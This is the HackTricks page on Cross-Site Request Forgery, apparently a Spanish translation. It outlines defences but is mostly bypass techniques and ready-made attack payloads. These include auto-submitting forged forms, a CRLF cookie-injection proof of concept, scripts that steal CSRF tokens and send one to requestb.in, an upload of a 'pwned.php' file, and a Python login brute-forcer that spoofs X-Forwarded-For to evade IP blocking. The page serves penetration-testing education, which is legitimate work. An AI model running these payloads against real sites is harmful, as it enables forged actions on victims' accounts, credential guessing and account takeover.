CSRF (Cross Site Request Forgery)

Reading time: 19 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Cross-Site Request Forgery (CSRF) Explained

Cross-Site Request Forgery (CSRF) es un tipo de vulnerabilidad de seguridad encontrada en aplicaciones web. Permite a los atacantes realizar acciones en nombre de usuarios desprevenidos aprovechando sus sesiones autenticadas. El ataque se ejecuta cuando un usuario, que ha iniciado sesión en la plataforma de la víctima, visita un sitio malicioso. Este sitio entonces desencadena peticiones hacia la cuenta de la víctima mediante métodos como ejecutar JavaScript, enviar formularios o cargar imágenes.

Prerequisites for a CSRF Attack

Para explotar una vulnerabilidad CSRF, se deben cumplir varias condiciones:

  1. Identify a Valuable Action: El atacante necesita encontrar una acción que valga la pena explotar, como cambiar la contraseña del usuario, el correo electrónico o elevar privilegios.
  2. Session Management: La sesión del usuario debe gestionarse únicamente mediante cookies o el encabezado HTTP Basic Authentication, ya que otros encabezados no pueden manipularse para este propósito.
  3. Absence of Unpredictable Parameters: La petición no debe contener parámetros impredecibles, ya que pueden impedir el ataque.

Quick Check

Puedes capturar la petición en Burp y comprobar las protecciones CSRF y, para probar desde el navegador, puedes hacer clic en Copy as fetch y revisar la petición:

Defending Against CSRF

Se pueden implementar varias contramedidas para protegerse contra ataques CSRF:

  • SameSite cookies: Este atributo impide que el navegador envíe cookies junto con peticiones cross-site. More about SameSite cookies.
  • Cross-origin resource sharing: La política CORS del sitio víctima puede influir en la viabilidad del ataque, especialmente si el ataque requiere leer la respuesta del sitio víctima. Learn about CORS bypass.
  • User Verification: Solicitar la contraseña del usuario o resolver un captcha puede confirmar la intención del usuario.
  • Checking Referrer or Origin Headers: Validar estos encabezados puede ayudar a asegurar que las peticiones provienen de fuentes confiables. Sin embargo, una construcción cuidadosa de URLs puede eludir comprobaciones mal implementadas, como:
    • Using http://mal.net?orig=http://example.com (URL ends with the trusted URL)
    • Using http://example.com.mal.net (URL starts with the trusted URL)
  • Modifying Parameter Names: Alterar los nombres de los parámetros en peticiones POST o GET puede ayudar a prevenir ataques automatizados.
  • CSRF Tokens: Incorporar un token CSRF único en cada sesión y requerir este token en solicitudes posteriores puede mitigar significativamente el riesgo de CSRF. La efectividad del token puede aumentarse aplicando CORS.

Entender e implementar estas defensas es crucial para mantener la seguridad y la integridad de las aplicaciones web.

Defences Bypass

From POST to GET (method-conditioned CSRF validation bypass)

Some applications only enforce CSRF validation on POST while skipping it for other verbs. A common anti-pattern in PHP looks like:

php
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}

Si el endpoint vulnerable también acepta parámetros desde $_REQUEST, puedes volver a emitir la misma acción como una petición GET y omitir el token CSRF por completo. Esto convierte una acción que era solo POST en una acción GET que tiene éxito sin un token.

Ejemplo:

  • POST original con token (previsto):
http
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded

__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
  • Bypass cambiando a GET (sin token):
http
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1

Notas:

  • Este patrón aparece frecuentemente junto con reflected XSS cuando las respuestas se sirven incorrectamente como text/html en lugar de application/json.
  • Combinar esto con XSS reduce enormemente las barreras de explotación porque puedes entregar un único enlace GET que tanto activa la vía de código vulnerable como evita por completo las comprobaciones CSRF.

Falta de token

Las aplicaciones pueden implementar un mecanismo para validar tokens cuando están presentes. Sin embargo, se produce una vulnerabilidad si la validación se omite por completo cuando el token está ausente. Los atacantes pueden explotar esto eliminando el parámetro que contiene el token, no solo su valor. Esto les permite eludir el proceso de validación y llevar a cabo eficazmente un ataque Cross-Site Request Forgery (CSRF).

El token CSRF no está vinculado a la sesión del usuario

Las aplicaciones que no vinculan los tokens CSRF a las sesiones de usuario representan un riesgo de seguridad significativo. Estos sistemas verifican los tokens frente a un conjunto global en lugar de asegurar que cada token esté ligado a la sesión iniciadora.

Así es como los atacantes explotan esto:

  1. Autenticarse usando su propia cuenta.
  2. Obtener un token CSRF válido del conjunto global.
  3. Usar este token en un ataque CSRF contra una víctima.

Esta vulnerabilidad permite a los atacantes realizar solicitudes no autorizadas en nombre de la víctima, explotando el mecanismo de validación de tokens inadecuado de la aplicación.

Method bypass

Si la petición está usando un método "raro" method, verifica si la method override functionality está funcionando. Por ejemplo, si está using a PUT method puedes intentar use a POST method y send: https://example.com/my/dear/api/val/num?_method=PUT

Esto también puede funcionar enviando el _method parameter inside the a POST request o usando las cabeceras:

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Bypass de token en encabezado personalizado

Si la solicitud añade un custom header con un token a la petición como CSRF protection method, entonces:

  • Prueba la solicitud sin el Customized Token y tampoco el header.
  • Prueba la solicitud con exactamente la misma longitud pero token diferente.

Las aplicaciones pueden implementar protección CSRF duplicando el token tanto en una cookie como en un parámetro de la solicitud o estableciendo una cookie CSRF y verificando si el token enviado al backend corresponde con la cookie. La aplicación valida las peticiones comprobando si el token en el parámetro de la solicitud coincide con el valor de la cookie.

Sin embargo, este método es vulnerable a ataques CSRF si el sitio web tiene fallos que permiten a un atacante establecer una cookie CSRF en el navegador de la víctima, como una vulnerabilidad CRLF. El atacante puede explotarlo cargando una imagen engañosa que establece la cookie, seguida de iniciar el ataque CSRF.

A continuación hay un ejemplo de cómo podría estructurarse un ataque:

html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>

tip

Ten en cuenta que si el csrf token está relacionado con la session cookie este ataque no funcionará porque tendrás que establecer en la víctima tu session cookie y, por lo tanto, te estarás atacando a ti mismo.

Cambio de Content-Type

Según esto, para evitar preflight en peticiones que usan el método POST estos son los valores permitidos de Content-Type:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

Sin embargo, ten en cuenta que la lógica del servidor puede variar dependiendo del Content-Type usado, por lo que deberías probar los valores mencionados y otros como application/json,text/xml, application/xml.

Ejemplo (desde aquí) de enviar JSON data como text/plain:

html
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>

Bypassing Preflight Requests for JSON Data

Al intentar enviar datos JSON mediante una petición POST, usar Content-Type: application/json en un formulario HTML no es posible directamente. De igual forma, utilizar XMLHttpRequest para enviar este tipo de contenido inicia una solicitud preflight. No obstante, existen estrategias para potencialmente eludir esta limitación y comprobar si el servidor procesa los datos JSON independientemente del Content-Type:

  1. Use Alternative Content Types: Emplea Content-Type: text/plain o Content-Type: application/x-www-form-urlencoded estableciendo enctype="text/plain" en el formulario. Este enfoque prueba si el backend utiliza los datos independientemente del Content-Type.
  2. Modify Content Type: Para evitar una solicitud preflight y al mismo tiempo lograr que el servidor reconozca el contenido como JSON, puedes enviar los datos con Content-Type: text/plain; application/json. Esto no desencadena una solicitud preflight pero podría ser procesado correctamente por el servidor si está configurado para aceptar application/json.
  3. SWF Flash File Utilization: Un método menos común pero factible consiste en usar un archivo SWF flash para eludir tales restricciones. Para una explicación detallada de esta técnica, consulta this post.

Referrer / Origin check bypass

Avoid Referrer header

Las aplicaciones pueden validar el encabezado 'Referer' solo cuando está presente. Para evitar que un navegador envíe este encabezado, se puede usar la siguiente meta tag HTML:

xml
<meta name="referrer" content="never">

Esto asegura que la cabecera 'Referer' se omita, potencialmente eludiendo las comprobaciones de validación en algunas aplicaciones.

Regexp bypasses

URL Format Bypass

Para establecer el nombre de dominio del servidor en la URL que el Referrer va a enviar dentro de los parámetros puedes hacer:

html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>

HEAD method bypass

La primera parte de this CTF writeup explica que Oak's source code, un router está configurado para handle HEAD requests as GET requests sin cuerpo de respuesta — una solución común que no es exclusiva de Oak. En lugar de un handler específico que gestione las HEAD reqs, simplemente son given to the GET handler but the app just removes the response body.

Por lo tanto, si una solicitud GET está siendo limitada, podrías simplemente send a HEAD request that will be processed as a GET request.

Exploit Examples

Exfiltrating CSRF Token

Si un CSRF token se está usando como defence, podrías intentar exfiltrate it abusando de una vulnerabilidad de XSS o de Dangling Markup.

GET using HTML tags

xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Otras etiquetas HTML5 que pueden usarse para enviar automáticamente una solicitud GET son:

html
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>

Solicitud GET de formulario

html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Solicitud POST de formulario

html
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>

Solicitud POST de formulario mediante iframe

html
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Ajax POST solicitud

html
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2",
})
</script>

Solicitud POST multipart/form-data

javascript
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})

Solicitud POST multipart/form-data v2

javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
//  MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"

//xhr.send(body);
xhr.sendAsBinary(body)

Solicitud POST de formulario desde un iframe

html
<--! expl.html -->

<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>

Robar CSRF Token y enviar una POST request

javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")

// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy")
}

function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}

var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()

Robar CSRF Token y enviar una solicitud POST usando un iframe, un form y Ajax

html
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value

document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>

Robar CSRF Token y enviar una solicitud POST usando un iframe y un form

html
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>

<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>

Robar token y enviarlo usando 2 iframes

html
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTSteal CSRF token con Ajax y enviar un POST con un formulario

html
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>

<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>

CSRF con Socket.IO

html
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")

const username = "admin"

socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>

CSRF Login Brute Force

El código puede usarse para Brut Force un formulario de login usando un CSRF token (También usa el header X-Forwarded-For para intentar eludir un posible IP blacklisting):

python
import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Herramientas

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks